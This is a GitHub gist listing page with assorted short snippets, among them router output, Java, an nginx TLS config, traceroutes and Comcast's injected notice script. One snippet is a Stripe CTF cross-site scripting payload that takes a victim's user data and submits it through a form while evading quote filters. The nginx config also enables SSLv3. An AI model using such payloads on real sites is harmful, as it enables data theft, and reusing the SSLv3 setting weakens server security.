Skip to content

Instantly share code, notes, and snippets.

View keybase.md

Keybase proof

I hereby claim:

  • I am ryankearney on github.
  • I am ryankearney (https://keybase.io/ryankearney) on keybase.
  • I have a public key whose fingerprint is 031F C65D 4DE6 6424 D4B1 222E 11C4 418E 16E4 B545

To claim this, I am signing this object:

@ryankearney
ryankearney / Cisco 2901 Rollback
Created Feb 10, 2014
Cisco 2901 Configuration Rollback
View Cisco 2901 Rollback
TESTGW01#archive config
TESTGW01#sh archive
The maximum archive configurations allowed is 10.
There are currently 10 archive configurations saved.
The next archive file will be named flash:backups-<timestamp>-78
Archive # Name
1 flash:backupsFeb--3-11-55-49.089-DST-68
2 flash:backupsFeb--4-11-57-43.957-DST-69
3 flash:backupsFeb--5-11-59-38.981-DST-70
4 flash:backupsFeb--6-12-01-35.430-DST-71
View gist:8735912
public static void BinarySearch(String Filename) throws IOException {
//int index = -1;
int lower = 0;
int upper = elementCount -1; //stateCollection.length - 1;
int current;
boolean found = false;
int probe = 0;
String searchKey;
String c;
String p;
View gist:8552425
ssl on;
ssl_certificate /etc/ssl/certs/mycert.pem;
ssl_certificate_key /etc/ssl/private/mykey.pem;
ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_session_timeout 5m;
ssl_session_cache builtin:1000 shared:SSL:10m;
ssl_ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AES:RSA+3DES:!ADH:!AECDH:!MD5:!DSS;
add_header Strict-Transport-Security max-age=31536000;
@ryankearney
ryankearney / gist:5407668
Last active Dec 16, 2015
Verizon Performance
View gist:5407668
Here's some stuff I came up with while tethered to my phone.
Here is a traceroute to google.com. All traceroutes pretty much have the exact same first 4-5 hops. More often than not they time out though.
$ traceroute -q 1 google.com
traceroute: Warning: google.com has multiple addresses; using 74.125.130.113
traceroute to google.com (74.125.130.113), 64 hops max, 72 byte packets
1 [AS0] 172.20.10.1 (172.20.10.1) 1.792 ms
2 [AS6167] 255.sub-66-174-175.myvzw.com (66.174.175.255) 618.262 ms
3 *
View gist:4315681
Process: csgo_osx [346]
Path: /Users/USER/Library/Application Support/Steam/*/csgo_osx
Identifier: csgo_osx
Version: ???
Code Type: X86 (Native)
Parent Process: bash [343]
User ID: 501
Date/Time: 2012-12-16 21:59:24.986 -0600
OS Version: Mac OS X 10.8.2 (12C60)
@ryankearney
ryankearney / ComcastInject.html
Last active Feb 22, 2020
This is the code Comcast is injecting into its users web traffic.
View ComcastInject.html
<script language="JavaScript" type="text/javascript">
// Comcast Cable Communications, LLC Proprietary. Copyright 2012.
// Intended use is to display browser notifications for critical and time sensitive alerts.
var SYS_URL='/e8f6b078-0f35-11de-85c5-efc5ef23aa1f/aupm/notify.do';
// var image_url='http://servicealerts.comcast.net:8080/images/mt';
var image_url='http://xfinity.comcast.net/constantguard/BotAssistance/notice/images';
var headertext1='<strong>Comcast Courtesy Notice</strong>';
var textline1='You have reached 90% of your <b>monthly data usage allowance</b>.';
var textline2='Please sign in for more information and to remove this alert.';
var acknowledgebutton='<a href=\"#\" onClick="document.location.href=\''+SYS_URL+'?dispatch=redirect&redirectName=login&paramName=bmUid\'" title="Sign in to acknowledge" style="color: #FFFFFF;"><img alt="Sign in to acknowledge" src="'+image_url+'/mt_signin.png"/></a>';
@ryankearney
ryankearney / Stripe CTF Level 06.js
Created Aug 30, 2012
JavaScript payload to force user to submit a form with their password.
View Stripe CTF Level 06.js
//jQuery Payload
$.get("user_info",
function(data) {
$("#content").val(escape(data));
$("form").submit();
}
);
// Strings changed to String.fromCharCode() to avoid filtering of ' and " in posts.
@ryankearney
ryankearney / god.vbs
Created Oct 17, 2011
Make Excel Cells Hyperlinks
View god.vbs
Do While Not IsEmpty(ActiveCell)
ActiveCell.Hyperlinks.Add ActiveCell, ActiveCell.Value
ActiveCell.Offset(1, 0).Range("A1").Select
Loop
View reddit.c
#include <stdio.h>
#include <time.h>
#include <netinet/in.h>
typedef struct {
int ID;
char * title;
char * link;
char * date;
int upVotes;
int downVotes;
You can’t perform that action at this time.